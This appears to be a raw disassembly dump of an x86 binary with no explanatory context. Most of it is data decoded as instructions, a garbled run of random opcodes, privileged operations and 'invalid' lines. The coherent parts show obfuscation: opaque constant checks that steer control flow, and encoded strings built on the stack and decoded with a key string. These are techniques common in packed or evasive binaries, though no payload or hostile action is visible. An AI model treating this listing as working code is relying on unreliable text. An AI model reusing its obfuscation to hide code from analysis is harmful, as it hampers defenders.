mov dh, 0x8d
adc al, byte [edx]
wait
mov eax, 0xf70d043e
out 0x49, al
stc
pop edx
and byte [edi + 0x38], ah
xchg ebx, ebp
insd dword es:[edi], dx
sbb eax, 0xd186c095
mov eax, 0xa0cc9097
mov cl, 0xe7
clc
sbb eax, 0x188b9cee
jb 0x6884e7b1
nop
int3
add bl, byte [edi + 0x67]
mov esp, 0x62aeb8b1
mov byte [eax], ch
xor dh, byte [eax + 0xd8b431b]
lahf
lds edx, [eax]
sbb al, 0xe9
in al, dx
mov esp, 0xbe6bb9fc
jno 0x6884e73e
mov ecx, 0xd571be6b
outsd dx, dword [esi]
fsub dword [ebx - 0x50b63d2b]
jne 0x6884e7c4
mov ebx, 0xec4bf0ea
and dl, byte [0xf5d55775]
insd dword es:[edi], dx
lds edx, [edi - 0x55]
outsb dx, byte [esi]
fucompi st(6)
xlatb
pushfd
dec ebp
xor eax, 0x583e8a2d
inc ecx
jb 0x6884e7d7
inc edx
add dword [ecx], ecx
hlt
jmp 0x306cf641
xor al, 0x9d
mov ah, 0xf0
sub dword [ebp + 0x70], edi
ja 0x6884e764
add dword [edx], esp
inc ebx
push 0xe9db057f
xchg ebx, eax
pop ss
popfd
invalid
out 0x8e, eax
leave
sbb ch, bh
xchg ebx, eax
mov byte [edx + 0x4f88ce5a], al
out 0xa9, eax
out 0xa, eax
ljmp 0xd62a
mov eax, 0xedc59a81
adc eax, 0x3a117231
sbb al, 0xd2
cmp dword [esi - 0x14283294], ecx
adc bh, byte [eax + 0x16b114a5]
notrack call 0x827b7fba
outsb dx, byte [esi]
push ecx
dec edi
adc byte [eax + 0xd9dc763], bl
add edi, dword [ebp + 0x4b105862]
mov esi, 0x4c18e13f
invalid
imul ebx, dword [esi + 0x11bc3bd6], 0x3c852ea5
rcl byte [ecx + 0x1d]
ficom dword [edx - 0x159fa953]
xchg ecx, eax
test eax, 0xd97afb8b
sub al, 0x2f
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
invalid
jbe 0x6885103b
stosb byte es:[edi], al
int1
dec edi
mov byte [0xb1b1e5e0], al
xor dword [0x1f46f0ef], edx
cmp esi, dword [eax + 0x4d]
xchg edx, eax
xor edi, dword [ecx + edi + 0x1da44957]
push esi
xchg esi, eax
push edi
or eax, 0xe9cc21ed
xor bh, byte [ecx]
xchg esi, eax
leave
jle 0x68851041
mov bl, 0xf4
mov dword [0x33aee8b0], eax
mov ch, 0xb5
xor byte [edx - 0x54], 9
fld xword [esi - 0xc]
push esi
mov bl, 0xef
add dword [edx + 0x5b], 0x5c0b0e10
outsd dx, dword [esi]
inc ecx
or ebx, dword [edi + ebp*2 + 0x41]
loope 0x68851011
push cs
mov eax, 0xd28da76d
xor al, 0x9a
rcr byte [ebp + 0x3c9d33ce], cl
and byte [eax], ah
inc esi
aas
jg 0x6885104d
scasb al, byte es:[edi]
mov bl, 0x20
loope 0x68850fd3
and al, bl
fdivr qword [ebx + ebx*8 + 0x6751e080]
outsd dx, dword [esi]
xchg esp, eax
jmp 0x688510b8
push es
aaa
sub dh, ch
sub eax, 0x15019665
movsd dword es:[edi], dword [esi]
pop ebp
nop dword [ebx]
push edx
xor edx, 0xfffffff5
push ds
xor edx, dword [edx - 0x7d]
cmc
clc
mov dl, 0x26
cmp byte [ebp + 7], bh
or dword [0xf6b1f89c], ecx
and edx, edx
xchg edx, esp
mov al, 0x20
aas
xchg edi, eax
out 0xa8, eax
hlt
dec edx
dec ecx
jp 0x688510e7
sahf
cli
nop
int3
push cs
bnd jmp 0x7cb8ea6a
cmc
xchg ah, dl
scasd eax, dword es:[edi]
scasb al, byte es:[edi]
push edx
hlt
pushal
jl 0x68851a5e
mov ah, 0x42
wait
not byte [ecx - 0x26ee6d3]
stc
fistp word [ecx + eax*2 + 0x56]
pop esp
inc ecx
push esi
add esp, 0x92b47a3a
les edi, [edx]
jp 0x688519f9
xchg edx, eax
pop edi
and byte [eax - 0x7df98621], ah
inc ecx
push edx
inc esp
adc byte [edx], 1
push esi
mov ecx, 0x2d87f2e
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [0x7b531637]
pop eax
push ebx
jnp 0x68851ab9
clc
salc
push es
jns 0x68851a41
or ah, dh
loope 0x688519f6
sub al, 0x5d
adc eax, 0x514fda1d
or byte [ebx + ecx*4 + 0x33], cl
adc byte gs:[edi + edx*2], dl
popal
popal
xor edx, dword [edx + 0x4e6dbfc6]
or al, 0xe8
mov eax, dword [0x2dab1493]
jae 0x68851a3d
test al, 0x30
ror esp, 0x4e
push esi
imul byte [eax - 3]
test dword [edx - 0x7e4d0135], ebx
lea ebp, [esi]
sti
int 0x18
fnstcw word [eax + eax*8 + 0x43]
cli
ret
hlt
mov dl, bl
push ebx
fldcw word [edx]
out 0xd6, al
lds ecx, [eax - 0x53976e2f]
mov dword [0x5efc3bb9], eax
leave
xor byte [ecx + 9], ah
fisub word [ebx + 0x1389bd47]
cdq
push esi
aad 0x19
inc ebx
or dl, byte [ebp + 0x23]
jns 0x68851ab4
pop ebx
sbb eax, 0x467d4b0c
push esp
mov dword [0xdec311f2], eax
mov ah, 0xb7
jno 0x68851a7a
add dl, cl
push ss
cmp byte [ebp + 0x10], ah
pop ss
call 0xf0e30215
invalid
invalid
xchg edx, eax
mov ecx, gs
test dword [ecx + eax], esp
scasd eax, dword es:[edi]
jbe 0x6885242d
shr byte [edx + 0x4b], cl
sub byte [edi + 0x39], 0xc0
push ebp
sbb edx, ebx
push ecx
dec eax
mov esi, dword [esi]
mov bl, 0xb
mov esi, 0xfce30903
cmp dl, byte [edi + 0x27]
les ebx, [eax]
jmp 0xcb2c2c93
stosb byte es:[edi], al
mov byte [0x7141dc2a], al
push ss
mov dword [0x3fec5b1e], eax
std
sbb byte [ebx], 0x34
bound edi, qword [eax + 0x1a31fedc]
mov bl, 0x87
movsd dword es:[edi], dword [esi]
stc
jecxz 0x688523fd
and ecx, esi
imul esi, dword [ebx + 0x45], 0x14
jp 0x688523e8
pop ebx
push ebx
or dword [0x54dcf5a9], esi
aad 0x28
std
mov dh, 0xe1
xchg dl, bl
push es
xchg ecx, eax
inc ebx
retf 0x6bd5
xchg edx, eax
adc byte gs:[esi + 0x61], ch
cmp ah, byte [edx]
jae 0x6885242e
jns 0x688524f3
and dword [ebx], eax
mov edx, 0xdfb8802f
inc esp
lodsb al, byte [esi]
daa
ljmp 0xc84c
invalid
sub ebp, dword [esi + 0xac0f7c]
adc al, 0xdf
wait
push es
lcall 0xf3e3, 0x200a2ee4
mov eax, dword [0x57d1865c]
pop ss
cmp eax, 0xe67db5bf
pushfd
inc eax
sahf
shl dword [esi], 1
sbb cl, byte [edi + 0x32]
out dx, eax
call 0x738c390b
sal byte [esi], 1
jmp 0x6f13fd02
invalid
sti
mov bl, 0x8e
in eax, dx
loopne 0x68853903
mov bh, 0xda
retf
mov esi, 0x1fd646cf
sbb al, 0xea
fnstcw word [esi + 0x27]
outsd dx, dword [esi]
or al, 0x77
invalid
mov esp, ecx
pushfd
adc dword [edx + 0x13540afc], edi
jnp 0x68854e3d
sbb dword [ecx], edx
retf
out 0xb1, al
daa
cmp byte [eax - 0x378afcea], dl
in al, 0x7a
pop edx
jmp 0x68854e72
jmp 0x68854e72
dec ecx
sbb byte [ebp + 0x51f2ef84], ah
mov esp, 0x9f89e0d1
js 0x68854e6f
mov bh, 0x58
invalid
dec edx
xor byte [eax + eax + 0x2300f9af], 0x91
add byte [edi - 0x6edcff07], ch
jne 0x68854ea4
invalid
in al, 0x3b
and eax, 0x84daa8e9
adc ah, bl
div byte [edx - 0x7a]
test byte [edx], dl
jecxz 0x68854e9e
jb 0x68854e30
push es
movsd dword es:[edi], dword [esi]
sar byte [edx - 0x5c], 0xfa
jmp 0x68854e54
mov ch, 0x1d
xchg dword [edx - 0x34], ebp
inc esp
mov ebp, dword [edi]
xor al, byte [esi - 0x33ab852b]
or byte [ebp + 0x32], dl
or al, 8
movsb byte es:[edi], byte [esi]
call 0x6c256c11
cmp eax, 0x1a5a1dd7
cwde
enter 0x3d35, 0xfffffffffffffff2
mov dl, 0xa1
jecxz 0x688558bc
mov al, 0xc4
jl 0x688558e5
add eax, 0xf87ccf98
sbb al, 0xe4
adc dword [ebp - 0x1827d9fd], ebp
jecxz 0x688558c9
test eax, 0x7f0a641b
xchg al, ch
daa
push cs
invalid
std
mov bl, 0x95
invalid
salc
and al, 0xcf
sbb eax, 0xa7763871
sbb dword [ebx + 0x3ba59c9], ebx
mov dword gs:[edi], ebx
xor eax, dword [esi - 0xd]
mov esp, 0xfcacf1ee
xchg edx, eax
sahf
push cs
stosd dword es:[edi], eax
lodsb al, byte [esi]
mov cl, 0x30
aam 0x59
xchg ebx, eax
pop ebp
arpl word [eax - 0x77], cx
sub al, byte [edi]
adc ecx, edx
sub ah, dl
invalid
push cs
jne 0x68856339
xchg dword [eax + 0x5d61e9cc], edx
add byte [eax], al
jne 0x688562c4
ljmp 0x7cb2:0x9acbf454
sbb edi, dword [esi + ebp*4 - 0x44]
or dword [edx + 0x11762ab0], edi
mov dword [esi], eax
mov byte [0x55d82091], al
or ebx, ebx
cld
pop es
pop ebp
push ds
insd dword es:[edi], dx
invalid
stosb byte es:[edi], al
rcl byte [ebx + eax*2]
mov ebp, edx
test ecx, esi
sahf
mov esp, 0x2992c3c8
xor ah, byte [edx + 0x753f99c0]
daa
aas
sub esp, dword [edi - 0x41]
fisub word [edx]
or byte [esi], 0x5a
push esp
inc edi
jmp 0xc70d56c5
push ss
sti
mov al, 0xae
or dword [eax + edx], ebx
mov byte [0x231e94ca], al
std
sbb bh, byte [edi + 0x5c]
inc byte [ecx + esi*4 - 0x76]
int 0xae
or al, 0x4b
pop ss
cwde
dec ecx
scasb al, byte es:[edi]
or byte [ecx + 0x1491888e], 0x49
push ebx
inc esp
adc al, 0xbf
dec edi
xor dword [esi + 0x1a2d0591], ebx
lodsd eax, dword [esi]
cli
sub al, bh
rcl dword [eax + 0x48a1e9cc]
add byte [eax], al
jo 0x68857753
jno 0x688577b6
imul esp, edi, 0x28cd925c
dec ecx
xlatb
mov dword [esi - 0x12], ebx
fistp word [ebx - 0x53415a79]
and byte [esp + 0x57], al
mov ebx, esi
lodsd eax, dword [esi]
pop ecx
fadd qword [edi]
add byte [0xed33afa], dh
movsd dword es:[edi], dword [esi]
add dh, bh
mov ecx, 0x251957c4
inc edi
xor byte [ebx], ch
add byte [ecx], ah
pop esi
mov ah, 0xee
jmp 0xb44e85e6
invalid
xchg ecx, eax
int3
std
in eax, 4
mov ebp, 0x5dc23fc1
xor eax, 0xdf2aacb1
and edi, ebp
mov es, word [ecx]
mov dh, 0xae
inc ebp
mov ah, 0xb5
hlt
stc
and dl, dl
popal
add dword gs:[ecx - 0x12ad1bc7], 0x16
outsb dx, byte [esi]
pop es
invalid
push edx
sub dh, byte [ebx + edx*2]
popal
scasd eax, dword es:[edi]
invalid
int3
out 0x19, al
sar byte [eax], cl
cmpsb byte [esi], byte es:[edi]
sub eax, 0xca05fddd
mov cl, byte [ecx]
jne 0x6885abb4
add byte [eax - 0x5cc33f63], ch
pop eax
mov dh, 0xf5
cmp al, 6
and dword [esi - 0x397db3ae], ebx
push ebp
jle 0x6885abe6
arpl cx, sp
mov ch, 0x69
salc
lds edx, [edi]
sahf
inc ecx
aas
in al, dx
sti
mov ebx, 0x139b6da1
les ebx, [ebp + 0x17]
pop ebp
ljmp 0xb6f6
push eax
mov bh, 0x84
lodsd eax, dword [esi]
mov esi, ss
jmp 0x6885ab69
int1
popfd
push 0xee904527
jl 0x6885ac19
push 0xffffffffffffff93
dec edi
mov al, byte [0x917b451]
invalid
push edi
in al, 0xa
outsb dx, byte [esi]
cld
mov ah, 0xb0
invalid
in eax, dx
jp 0x6885abfc
sahf
fsub st(4), st(0)
int3
punpckldq mm4, mm7
pushal
in eax, 0x88
add bh, byte [esi - 0x2f]
sub byte [0xedf7a122], 0x9e
invalid
jne 0x6885b5a2
adc dword [esi], esp
push ds
inc ecx
ret 0xcb2
nop
jmp 0x6885c030
nop
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.687b18c4
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xc0], 0x877d1
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc8], 0x53b95
mov dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xc8]
sbb edx, dword [ebp - 0xc4]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0xd0]
xor eax, 0xed290
or eax, dword [ebp - 0xcc]
je 0x688615ba
mov edx, 0xed290
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0xe409d
or eax, dword [ebp - 0xcc]
je 0x6885cd1a
mov edx, 0xe409d
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0xcf455
or eax, dword [ebp - 0xcc]
je 0x6885ec3a
mov edx, 0xcf455
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0xc902c
or eax, dword [ebp - 0xcc]
je 0x68862a7a
mov edx, 0xc902c
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0xb83b8
or eax, dword [ebp - 0xcc]
je 0x6885e1da
mov edx, 0xb83b8
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0x98156
or eax, dword [ebp - 0xcc]
je 0x6885d77a
mov edx, 0x98156
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0x8184d
or eax, dword [ebp - 0xcc]
je 0x6886201a
mov edx, 0x8184d
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0x4d51a
or eax, dword [ebp - 0xcc]
je 0x688600fa
mov edx, 0x4d51a
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0x33c3c
or eax, dword [ebp - 0xcc]
je 0x688634da
mov edx, 0x33c3c
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0x2f02d
or eax, dword [ebp - 0xcc]
je 0x68860b5a
mov edx, 0x2f02d
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x688634d7
mov eax, dword [ebp - 0xd0]
xor eax, 0x2755d
or eax, dword [ebp - 0xcc]
je 0x6885c2ba
mov eax, dword [ebp - 0xd0]
xor eax, 0x27f5d
or eax, dword [ebp - 0xcc]
je 0x6885f69a
jmp 0x688634d7
pop esi
cwde
daa
cmpsb byte [esi], byte es:[edi]
sub dword [esi], ecx
or dword [edi], edx
inc edi
push ds
jl 0x6885c324
pushfd
mov dl, 0x3b
int3
nop
shr dword [0x3e767d09], 0x2f
add edx, dword [ecx - 0x20]
out dx, eax
aad 0x24
invalid
lcall 0x7478, 0x1ef1ddf
loopne 0x6885c2d1
push ebp
hlt
test byte [ecx + 0x5bb01812], dh
into
cmc
mov word [ebp - 0x4312c2b], fs
lahf
imul eax, dword [ebx], 0xa746ae7c
adc al, 0x94
hlt
adc byte [edx], bh
sub cl, byte [esp + esi*2]
mov byte [0xc399f463], al
mov dword [eax], ecx
aaa
clc
lock sbb dword [edi - 0x4e], edi
invalid
sbb eax, 0x97103e62
mov ch, 0x6e
or byte [eax], bl
mov dh, 0x90
int3
sub dword [eax + ebx*2 - 0x61cce0e8], ecx
add byte [ecx], cl
sub dword [esi], edi
mov dword [0x678a20b9], eax
cmp al, dh
aas
bound esi, qword [ebp + eax*8 - 0x268b7de7]
loop 0x6885d801
cmpsd dword [esi], dword es:[edi]
pushfd
xor al, 0x25
jl 0x6885d7a2
int1
js 0x6885d769
dec edx
sub al, 0xe0
movsb byte es:[edi], byte [esi]
fcomp qword [edi - 0x6da1212]
cwde
ja 0x6885d7a3
shr dword [ebx - 0x7c], cl
mov edi, 0xe6f833c9
test byte ss:[ebx - 0x7a], ch
push cs
adc al, 0x30
neg dword [edi - 0x2e]
aam 0xec
shl dword [ebx - 0x3fe6c31b], 3
mov edx, 0xd08cf7ed
jo 0x6885d755
and ecx, esi
imul edx, dword [edi + 0x7db8ddb1], 0x505a844b
push ebp
and dword [ebx + 0x6ea9f46e], 0x34
lahf
jno 0x6885d7e4
invalid
pop esp
sar byte [esi + 0x3ab7f739], cl
sahf
jnp 0x6885d7fd
sbb eax, 0xc420c4e3
retf 0x88c7
push ebx
lds edx, [0x2c280afb]
xchg edx, eax
or ch, byte [eax]
sub al, 0x92
scasb al, byte es:[edi]
jmp 0x6885d7e5
in eax, 0xa1
mov bl, 0x15
xchg ebp, eax
invalid
mov edx, dword [edx - 0xc98ace0]
or al, 0xb
mov eax, dword [0x5adc0ffd]
or ebx, dword [ebp - 0x3a7f9a55]
sbb ecx, dword [ecx - 0x3e2f065c]
mov ds, word [ebx + 0x42bc5a64]
push ecx
mov dh, 0x54
jns 0x6885e19a
lodsb al, byte [esi]
add eax, dword [eax]
mov word [eax + 0x12b897b3], fs
add ah, ch
pushfd
punpcklbw mm7, dword cs:[ecx]
xor dword [ebp + 0x596480c], 6
adc eax, 0xf5156d6d
xor al, 0x38
imul esi, dword [ebx - 0x25], 0x16
push ecx
cmp cl, ch
adc eax, 0xf8f02cc9
retf
salc
cmpsd dword [esi], dword es:[edi]
push ecx
sti
adc al, 0
jnp 0x6885ec5c
leave
xor bh, byte [edx]
pop eax
dec ebx
sahf
bound ecx, qword [edx - 0x2f]
xor al, 0xc
sub eax, 0x87cc3c8f
cwde
and dh, dh
dec edi
insb byte es:[edi], dx
mov ah, 0x84
lodsb al, byte [esi]
out 0xa2, eax
add byte [esi - 0x3d4a5b98], 0x1c
inc ebp
sbb dword [esp + eax*4 - 0xdc09a90], eax
mov ecx, 0xcb8f923f
sbb edx, ecx
pop eax
xchg edx, eax
das
pop es
sub byte [0xbd52672b], 0x92
mov word [esi + 0x5c], gs
adc bl, byte [esi - 0x46f3cc57]
dec esp
shr bh, 0x7b
test dword [esi + 0x6352dfc1], eax
mov ah, ah
movsd dword es:[edi], dword [esi]
xchg dword [ecx + 0x42831373], esi
cmp eax, 0x1bcfc3eb
mov ch, 0x16
movsd dword es:[edi], dword [esi]
and eax, 0x5ddb0215
cmpsd dword [esi], dword es:[edi]
shr dword [edi + 0x3c], 0x52
pop ss
loopne 0x6885ec3b
ja 0x6885ec72
push cs
sbb byte [ecx + edx - 0x44], bh
add ah, byte [edx + 0x46]
xor edi, esi
fstp qword [esp + ebx*2 - 0x2b8b2493]
invalid
fdivr dword [esp + ebx*2]
insb byte es:[edi], dx
sbb eax, 0xfffffffd
imul edi, dword [esi], 0x9113b0d8
test al, 0x55
xor cl, byte [ebp - 0x480145a]
adc esi, esp
add dword [ebp - 0x5d], edx
lea edi, [esi + 0x27]
cmp eax, 0xda8309b2
stc
movsd dword es:[edi], dword [esi]
movd mm2, eax
cmpsb byte [esi], byte es:[edi]
sbb al, 0x4a
cdq
mov dl, 0xea
and al, 0xe3
scasb al, byte es:[edi]
xlatb
sbb bl, byte [edi]
loope 0x6885f6fb
lahf
daa
test al, 0x1d
sbb dword [esi], 0xd
lodsb al, byte [esi]
sal byte [0x56a8554e], 0x37
push esi
fstp dword [ecx]
sahf
fisubr word [edx + 0x3a8f48f4]
sbb eax, 0xdfbd5455
leave
xchg esp, eax
mov eax, dword [0xe62fd2b6]
invalid
jmp 0x6885f777
nop
invalid
test dword [eax], ebp
cmpsb byte [esi], byte es:[edi]
test dword [eax + 0x7486e76f], ecx
je 0x6886006d
cld
jg 0x68860061
add al, 0x18
test eax, 0x1854e674
sbb byte [ecx + 0x1854e674], ch
push esp
sbb byte [ebx], bl
out 0x4e, eax
sbb esp, edi
dec esi
clc
mov fs, word [0xcd9e44c7]
ja 0x6886004f
nop
sub eax, 0x14b7974c
dec edi
mov bl, 0x74
outsb dx, byte [esi]
sti
mov dh, 0x2e
cmp eax, 0xdd5fc829
pushfd
wait
arpl si, cx
and ah, byte [ebp - 0x277e1cb4]
push 0xffffffffffffffa2
inc ebx
mov byte [0xb4173535], al
pop ss
pop ss
mov ah, 0x17
aad 0x9d
dec ebx
loope 0x688600d5
xor eax, 0xdc6c82dc
xor ch, ch
and ch, byte [edi - 0x6b]
outsd dx, dword [esi]
xchg ebp, eax
sub esi, edi
jle 0x6886011c
push eax
mov al, byte [0xeba646ca]
xor al, 0x6c
lcall 0x61be, 0x1bfd3739
sti
clc
loopne 0x6886005c
or eax, dword [ecx]
loope 0x688600a1
lodsd eax, dword [esi]
mov al, 0xb
sbb byte [edi], 0x93
add edx, ebx
adc byte [esi + 0x20a97b79], dh
fistp dword [ebp + 7]
pop ebp
pop es
fidivr word [eax]
invalid
push ecx
fcmove st(0), st(3)
int3
aam 0x25
outsd dx, dword ds:[esi]
push esp
push eax
loope 0x68860091
das
mov ah, 0xc8
mul ch
fucompi st(4)
enter 0xffffffffffffebc1, 0x5b
hlt
ja 0x688600fa
dec ecx
push esi
pop esi
sti
xchg esi, eax
dec edx
mov dh, byte [edi - 0x6c]
jb 0x688600cd
fisub word [edi]
push ss
insd dword es:[edi], dx
and edx, dword [ecx + 0x405325c2]
dec ecx
je 0x6886015a
mov edi, 0xdbe66109
mov esi, 0xac47d96e
jns 0x6886014f
xchg esi, eax
mov al, byte [0xbb073c7]
jmp 0x2aa5a5ed
xchg byte [0x616a45bd], ch
in eax, dx
mov eax, 0x8b4eaf53
imul ebx, ebx, 0xffffffd3
mov eax, dword [0x9ebed93f]
mov ebp, dword [ebx - 0x25]
shl dword [ecx - 0x614126c1], cl
retf 0x8be
aam 0x92
dec esi
add dword [edi], esp
pop esi
mov edi, dword [edi + 0x6bba597a]
loopne 0x68860b97
mov dword [0xa794a21], eax
push ebx
pop ds
xchg ecx, eax
int1
cmp esi, ebp
ret 0x40c4
clc
dec edx
push ds
out 0xae, eax
std
in al, 0x32
pushfd
cmp dh, cl
ret 0x9226
das
sub dword [eax + eax], eax
inc edi
pop esp
out 2, eax
test byte [ecx - 0x5162ac89], 0x10
test eax, 0xba556de5
push ebx
bound esi, qword [eax - 0x58451c1c]
test eax, 0x47928ac5
test al, 0x56
in al, 0x44
cmc
adc eax, 0x24e516b7
mov ecx, dword [ecx]
lahf
cmp byte [esi], dh
pop edi
test eax, 0x669441b8
imul edi, dword [eax], 0xffffffe3
and al, 0xcf
fdivr qword [ebp - 0x49]
mov eax, 0x1f9efb8
clc
lcall 0xc030, 0xedec374a
sub dword [edi + 0x7f], ecx
ja 0x688615be
mov cr6, edx
mov ebp, 0x1b73c9a8
jnp 0x68861652
invalid
and eax, ebp
and eax, ebp
cmp esi, dword [edi + ebx*8 + 0x5ecd7e6]
push esi
pop ss
ja 0x688616a1
mov al, 0x49
call 0xd05a9f53
mov ecx, 0xe50298da
add ah, ch
jbe 0x6886163b
push edi
sbb ah, 0x54
les edi, [esi + 0x25]
cwde
or al, 0xd3
mov edi, 0xa889f149
fild qword [eax + 8]
xor al, 0x43
pop esp
add al, 0x1f
popfd
fcmovbe st(0), st(2)
inc esi
fidivr dword [edi - 0x410a8911]
imul ebp, dword [esi - 0x4b13a73f], 0xfffffff7
pop esi
jl 0x688616a5
inc ecx
leave
hlt
and al, 0x8d
out dx, al
jecxz 0x688616cf
sub dword [edi - 0x336f88f5], eax
lahf
mov ebx, 0x9dcda94f
mov ch, 0x83
add al, 0x78
lds eax, [esi + 0x26f8f601]
and byte [ebp + 2], ah
xchg dword [ebx], ecx
ja 0x6886163a
int3
and byte es:[ebp + 2], ah
aam 0xfb
stc
invalid
pushal
loopne 0x688616ba
int1
xor edi, dword [ebp + 0x6f]
push ecx
dec byte [ecx]
invalid
sub al, 0xa7
xchg edx, eax
dec eax
pushfd
lea esp, [ecx - 0x47]
movsb byte es:[edi], byte cs:[esi]
push edx
call 0x9f221bb3
mov eax, dword [0x8d2d9079]
sbb byte [ebp + 0x691322bd], dl
sbb dword gs:[esi], esi
and eax, 0x54340823
add byte es:[ebx + 0x50], ch
add edx, dword [esi]
mov eax, 0xcaf1ead3
xchg edi, eax
and ebx, ebp
xor eax, 0xfa89bec
mov eax, dword [0xe13a59e3]
dec edi
loope 0x6886206f
in al, 0
in al, 0x96
outsd dx, dword [esi]
mov bl, 0x59
jge 0x68862071
ljmp 0xdc53:0x7835afc5
mov ah, 0xe5
cmovno esi, ebp
inc ecx
cmc
out 0xe7, al
insb byte es:[edi], dx
cmp word [edx - 0x5f], si
fsubr dword [edx - 0x784bf72e]
fild qword [ebx + 0x5a]
cmpsb byte [esi], byte es:[edi]
adc dword [edi], eax
test dword [ecx - 0x53f7a6fa], eax
not dword gs:[esi]
or al, 0x41
rcl dword [esp + edi*4 - 0x5f], cl
mov bh, 0x6c
lcall 0x6983, 0xfb6e895f
out 0x59, eax
das
sbb byte [esi + eax*2 + 0x1f], cl
arpl word [esp + edi], cx
loopne 0x68862072
xor byte [esi + 0x62], bh
out 0xe1, al
ljmp 0x398f
int1
inc ebp
or edx, dword [ebp + 0x42]
out dx, eax
dec al
in al, 0xd5
retf
nop
jmp 0x688634db
nop
mov dword [ebp - 0x1a0], 0x781b6326
mov dword [ebp - 0x19c], 0x730e7315
mov dword [ebp - 0x198], 0x63026f17
mov dword [ebp - 0x194], 0x73217818
mov dword [ebp - 0x190], 0x6f2b7337
mov dword [ebp - 0x18c], 0x782b632d
mov dword [ebp - 0x188], 0x733e7313
mov dword [ebp - 0x184], 0x632f6f25
mov dword [ebp - 0x180], 0x7307781d
mov dword [ebp - 0x17c], 0x6f2c730c
mov dword [ebp - 0x178], 0x782c6300
mov dword [ebp - 0x174], 0x73357322
mov dword [ebp - 0x170], 0x63066f36
mov dword [ebp - 0x16c], 0x7335783a
mov dword [ebp - 0x168], 0x6f2b7312
mov word [ebp - 0x164], 0
mov dword [ebp - 0xd8], 0x6431a
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0x5e24d
mov dword [ebp - 0xdc], 0
mov ecx, dword [ebp - 0xd8]
mov ebx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xdc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0xe8]
xor eax, 0xf2582
or eax, dword [ebp - 0xe4]
je 0x688640bf
mov edx, 0xf2582
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x6886557c
mov eax, dword [ebp - 0xe8]
xor eax, 0xeb06c
or eax, dword [ebp - 0xe4]
je 0x6886365f
mov edx, 0xeb06c
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x6886557c
mov eax, dword [ebp - 0xe8]
xor eax, 0xc2567
or eax, dword [ebp - 0xe4]
je 0x6886557f
mov eax, dword [ebp - 0xe8]
xor eax, 0xe1ed3
or eax, dword [ebp - 0xe4]
je 0x68864b1f
invalid
jmp 0x6886557c
and dword [ebp - 0x61], esp
jp 0x68863652
ret 0xf03b
jge 0x688640d1
or al, 0x54
xor byte [esi - 0x24c70900], 0x4e
ror byte [ebx], 0xc9
retf 0xdc6
xchg dword [ecx - 0x567ec552], ecx
add dword [0x24400f6e], esp
int3
invalid
nop
jmp 0x68865580
nop
mov dword [esp + 8], str.gcmxfsxsno
mov dword [esp + 4], 0x3c
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call fcn.68250591
mov dword [ebp - 0xf0], 0x8a49c
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xf8], 0xdee5e
mov dword [ebp - 0xf4], 0
mov ecx, dword [ebp - 0xf0]
mov ebx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xf4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x100]
xor eax, 0x1692fa
or eax, dword [ebp - 0xfc]
je 0x6886aa7e
mov edx, 0x1692fa
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6886aa81
mov eax, dword [ebp - 0x100]
xor eax, 0xe7332
or eax, dword [ebp - 0xfc]
je 0x68868101
mov edx, 0xe7332
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6886aa81
mov eax, dword [ebp - 0x100]
xor eax, 0xc7e4c
or eax, dword [ebp - 0xfc]
je 0x68868b61
mov edx, 0xc7e4c
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6886aa81
mov eax, dword [ebp - 0x100]
xor eax, 0xbe0a6
or eax, dword [ebp - 0xfc]
je 0x68866c41
mov edx, 0xbe0a6
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6886aa81
